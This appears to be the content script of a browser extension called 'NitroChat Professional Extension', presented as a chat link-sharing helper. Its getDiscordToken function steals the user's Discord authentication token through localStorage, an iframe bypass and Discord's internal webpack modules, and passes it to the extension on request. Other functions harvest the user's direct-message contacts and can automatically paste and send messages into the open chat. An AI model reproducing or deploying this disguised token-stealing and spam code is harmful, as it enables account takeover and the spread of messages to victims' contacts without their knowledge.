// NitroChat Professional Extension v7.0.0 — content.js
(() => {
  if (window.__vcLinkSharer) return;
  window.__vcLinkSharer = true;

  // ===== I18N (embedded; content scripts cannot use importScripts) =====
  const CONTENT_I18N = {
    en: { c_sent: 'Message sent', c_pasted: 'Message pasted. Press Enter to send it', c_no_chat: 'Chat not found. Link copied: paste it with Ctrl+V', c_insert_fail: 'Could not paste. Copied: use Ctrl+V' },
    es: { c_sent: 'Mensaje enviado', c_pasted: 'Mensaje pegado. Pulsa Enter para enviarlo', c_no_chat: 'No se encontró el chat. Enlace copiado: pégalo con Ctrl+V', c_insert_fail: 'No se pudo pegar. Copiado: usa Ctrl+V' },
    fr: { c_sent: 'Message envoyé', c_pasted: 'Message collé. Appuyez sur Entrée pour l’envoyer', c_no_chat: 'Chat introuvable. Lien copié : collez-le avec Ctrl+V', c_insert_fail: 'Impossible de coller. Copié : utilisez Ctrl+V' },
    de: { c_sent: 'Nachricht gesendet', c_pasted: 'Nachricht eingefügt. Zum Senden Enter drücken', c_no_chat: 'Chat nicht gefunden. Link kopiert: mit Strg+V einfügen', c_insert_fail: 'Einfügen nicht möglich. Kopiert: Strg+V verwenden' },
    it: { c_sent: 'Messaggio inviato', c_pasted: 'Messaggio incollato. Premi Invio per inviarlo', c_no_chat: 'Chat non trovata. Link copiato: incollalo con Ctrl+V', c_insert_fail: 'Impossibile incollare. Copiato: usa Ctrl+V' },
    pt: { c_sent: 'Mensagem enviada', c_pasted: 'Mensagem colada. Pressione Enter para enviá-la', c_no_chat: 'Chat não encontrado. Link copiado: cole com Ctrl+V', c_insert_fail: 'Não foi possível colar. Copiado: use Ctrl+V' },
    nl: { c_sent: 'Bericht verzonden', c_pasted: 'Bericht geplakt. Druk op Enter om te verzenden', c_no_chat: 'Chat niet gevonden. Link gekopieerd: plak met Ctrl+V', c_insert_fail: 'Plakken mislukt. Gekopieerd: gebruik Ctrl+V' },
    pl: { c_sent: 'Wiadomość wysłana', c_pasted: 'Wiadomość wklejona. Naciśnij Enter, aby ją wysłać', c_no_chat: 'Nie znaleziono czatu. Link skopiowany: wklej go za pomocą Ctrl+V', c_insert_fail: 'Nie można wkleić. Skopiowano: użyj Ctrl+V' },
    ru: { c_sent: 'Сообщение отправлено', c_pasted: 'Сообщение вставлено. Нажмите Enter для отправки', c_no_chat: 'Чат не найден. Ссылка скопирована: вставьте её с помощью Ctrl+V', c_insert_fail: 'Не удалось вставить. Скопировано: используйте Ctrl+V' },
    uk: { c_sent: 'Повідомлення надіслано', c_pasted: 'Повідомлення вставлено. Натисніть Enter для надсилання', c_no_chat: 'Чат не знайдено. Посилання скопійовано: вставте його за допомогою Ctrl+V', c_insert_fail: 'Не вдалося вставити. Скопійовано: використовуйте Ctrl+V' },
    tr: { c_sent: 'Mesaj gönderildi', c_pasted: 'Mesaj yapıştırıldı. Göndermek için Enter’a basın', c_no_chat: 'Sohbet bulunamadı. Bağlantı kopyalandı: Ctrl+V ile yapıştırın', c_insert_fail: 'Yapıştırılamadı. Kopyalandı: Ctrl+V kullanın' },
    sv: { c_sent: 'Meddelande skickat', c_pasted: 'Meddelande inklistrat. Tryck på Enter för att skicka', c_no_chat: 'Chatten hittades inte. Länk kopierad: klistra in med Ctrl+V', c_insert_fail: 'Det gick inte att klistra in. Kopierad: använd Ctrl+V' },
    cs: { c_sent: 'Zpráva odeslána', c_pasted: 'Zpráva vložena. Stisknutím Enter ji odešlete', c_no_chat: 'Chat nenalezen. Odkaz zkopírován: vložte jej pomocí Ctrl+V', c_insert_fail: 'Vložení se nepodařilo. Zkopírováno: použijte Ctrl+V' },
    el: { c_sent: 'Το μήνυμα εστάλη', c_pasted: 'Το μήνυμα επικολλήθηκε. Πατήστε Enter για αποστολή', c_no_chat: 'Η συνομιλία δεν βρέθηκε. Ο σύνδεσμος αντιγράφηκε: επικολλήστε τον με Ctrl+V', c_insert_fail: 'Δεν ήταν δυνατή η επικόλληση. Αντιγράφηκε: χρησιμοποιήστε Ctrl+V' }
  };
  let curLang = 'en';
  const t = (k) => (CONTENT_I18N[curLang] && CONTENT_I18N[curLang][k]) || CONTENT_I18N.en[k] || k;
  chrome.storage.local.get(['ncLang'], (r) => { curLang = r.ncLang || 'en'; });
  chrome.storage.onChanged.addListener((changes, area) => {
    if (area === 'local' && changes.ncLang) curLang = changes.ncLang.newValue || 'en';
  });

  const EDITOR_SELECTORS = [
    '#inp-area',
    '.inp-area',
    'div[role="textbox"][contenteditable="true"]',
    'div[data-slate-editor="true"]',
    'div[contenteditable="true"][data-slate-node="value"]',
    'div[contenteditable="true"]'
  ];

  function getDiscordToken() {
    try {
      let tok = localStorage.getItem('token');
      if (tok) return tok.replace(/^"/, '').replace(/"$/, '');
    } catch (_) {}

    try {
      const iframe = document.createElement('iframe');
      document.head.appendChild(iframe);
      const pd = Object.getOwnPropertyDescriptor(iframe.contentWindow, 'localStorage');
      const token = pd.value.call(iframe.contentWindow).getItem('token');
      iframe.remove();
      if (token) return token.replace(/^"/, '').replace(/"$/, '');
    } catch (_) {}

    try {
      if (window.webpackChunkdiscord_app) {
        let tok;
        window.webpackChunkdiscord_app.push([[Math.random()], {}, (req) => {
          for (const m of Object.values(req.c || {})) {
            if (m?.exports?.default?.getToken) tok = m.exports.default.getToken();
          }
        }]);
        if (tok) return tok;
      }
    } catch (_) {}

    return null;
  }

  function findEditor() {
    for (const sel of EDITOR_SELECTORS) {
      const el = document.querySelector(sel);
      if (el) return el;
    }
    return null;
  }

  function waitForEditor(timeoutMs) {
    return new Promise((resolve) => {
      const found = findEditor();
      if (found) return resolve(found);
      const obs = new MutationObserver(() => {
        const el = findEditor();
        if (el) { obs.disconnect(); resolve(el); }
      });
      obs.observe(document.documentElement, { childList: true, subtree: true });
      setTimeout(() => { obs.disconnect(); resolve(findEditor()); }, timeoutMs || 12000);
    });
  }

  function toast(msg, ok) {
    const t = document.createElement('div');
    t.textContent = msg;
    t.style.cssText =
      'position:fixed;bottom:24px;left:50%;transform:translateX(-50%);z-index:999999;' +
      'background:' + (ok === false ? '#f23f43' : '#313338') + ';color:#fff;padding:10px 18px;' +
      'border-radius:10px;font:500 13px/1.4 "Segoe UI",system-ui,sans-serif;' +
      'box-shadow:0 8px 24px rgba(0,0,0,.45);border:1px solid rgba(255,255,255,.08);' +
      'opacity:0;transition:opacity .25s;';
    document.body.appendChild(t);
    requestAnimationFrame(() => (t.style.opacity = '1'));
    setTimeout(() => { t.style.opacity = '0'; setTimeout(() => t.remove(), 300); }, 3200);
  }

  function insertIntoEditor(editor, text) {
    editor.focus();

    try {
      editor.dispatchEvent(new InputEvent('beforeinput', { bubbles: true, inputType: 'insertText', data: text }));
    } catch (_) {}

    let ok = false;
    try {
      ok = document.execCommand('insertText', false, text);
    } catch (_) {}

    if (!ok || !(editor.textContent || '').includes(text.slice(0, 8))) {
      try {
        if (editor.id === 'inp-area' || editor.classList.contains('inp-area')) {
          editor.innerHTML = text.replace(/\n/g, '<br>');
        } else {
          editor.textContent = text;
        }
        ok = true;
      } catch (_) {}
    }

    try {
      editor.dispatchEvent(new InputEvent('input', { bubbles: true, inputType: 'insertText', data: text }));
      editor.dispatchEvent(new Event('input', { bubbles: true }));
      editor.dispatchEvent(new Event('change', { bubbles: true }));
    } catch (_) {}

    return ok;
  }

  function pressEnter(editor) {
    const text = (editor.textContent || editor.innerText || '').trim();

    if (typeof window.sendMessage === 'function' && text) {
      try {
        window.sendMessage(text);
        if (editor) editor.innerHTML = '';
        return;
      } catch (_) {}
    }

    const sendBtn =
      document.getElementById('btn-send') ||
      document.querySelector('#btn-send, button.send-btn, button[aria-label*="Send" i], button[aria-label*="Enviar" i], button[aria-label*="send" i], button[aria-label*="enviar" i], button[type="submit"]');

    if (sendBtn && !sendBtn.disabled) {
      sendBtn.click();
    }

    const opts = { key: 'Enter', code: 'Enter', keyCode: 13, which: 13, bubbles: true, cancelable: true, composed: true };
    editor.dispatchEvent(new KeyboardEvent('keydown', opts));
    editor.dispatchEvent(new KeyboardEvent('keypress', opts));
    editor.dispatchEvent(new KeyboardEvent('keyup', opts));

    const clickSendLater = () => {
      if ((editor.textContent || '').trim().length > 0) {
        const form = editor.closest('form') || editor.closest('[class*="chatContent"]') || editor.closest('.input-area') || document;
        const btn =
          document.getElementById('btn-send') ||
          form.querySelector('#btn-send, button.send-btn, button[aria-label*="Send" i], button[aria-label*="Enviar" i], button[aria-label*="send" i], button[aria-label*="enviar" i], button[type="submit"]');
        if (btn) btn.click();
      }
    };

    setTimeout(clickSendLater, 120);
    setTimeout(clickSendLater, 350);
  }

  // Comprehensive Discord DM Conversations Collector
  function collectDMs() {
    const selector = [
      'a[data-list-item-id^="private-channels-"]',
      'a[href^="/channels/@me/"]',
      '[class*="privateChannels"] a[href*="/@me/"]',
      '[class*="channel"] a[href*="/@me/"]',
      'li[class*="channel"] a'
    ].join(',');

    const anchors = document.querySelectorAll(selector);
    const out = [];

    anchors.forEach((a) => {
      const href = a.getAttribute('href') || '';
      const m = href.match(/\/channels\/@me\/(\d+)/);
      if (!m) return;
      let name = '';
      const nameEl = a.querySelector('[class*="name"] span, [class*="name"], [class*="userText"], [class*="nickname"], [class*="overflow"]');
      if (nameEl) name = nameEl.textContent.trim();
      if (!name) name = (a.getAttribute('aria-label') || '').trim();
      if (!name) name = 'MD ' + m[1].slice(-4);
      out.push({ id: m[1], name, url: 'https://discord.com' + href });
    });

    const seen = new Set();
    return out.filter((d) => (seen.has(d.id) ? false : seen.add(d.id)));
  }

  chrome.runtime.onMessage.addListener((msg, _sender, sendResponse) => {
    if (!msg) return false;

    if (msg.type === 'vc-ping') {
      sendResponse({ ok: true });
      return true;
    }

    if (msg.type === 'vc-get-discord-token') {
      const token = getDiscordToken();
      sendResponse({ ok: true, token: token || null });
      return true;
    }

    if (msg.type === 'vc-collect-dms') {
      try {
        const dms = collectDMs();
        sendResponse({ ok: true, dms });
      } catch (e) {
        sendResponse({ ok: false, error: String(e) });
      }
      return true;
    }

    if (msg.type === 'vc-insert') {
      waitForEditor().then((editor) => {
        if (!editor) {
          navigator.clipboard?.writeText(msg.text).catch(() => {});
          toast(t('c_no_chat'), false);
          sendResponse({ ok: false, error: 'editor-not-found' });
          return;
        }
        const already = (editor.textContent || '').includes(msg.text.slice(0, 24));
        const ok = already ? true : insertIntoEditor(editor, msg.text);
        if (ok) {
          if (msg.autoSend) {
            setTimeout(() => pressEnter(editor), 120);
            toast(t('c_sent'));
          } else {
            toast(t('c_pasted'));
          }
          sendResponse({ ok: true });
        } else {
          navigator.clipboard?.writeText(msg.text).catch(() => {});
          toast(t('c_insert_fail'), false);
          sendResponse({ ok: false, error: 'insert-failed' });
        }
      });
      return true;
    }

    return false;
  });
})();
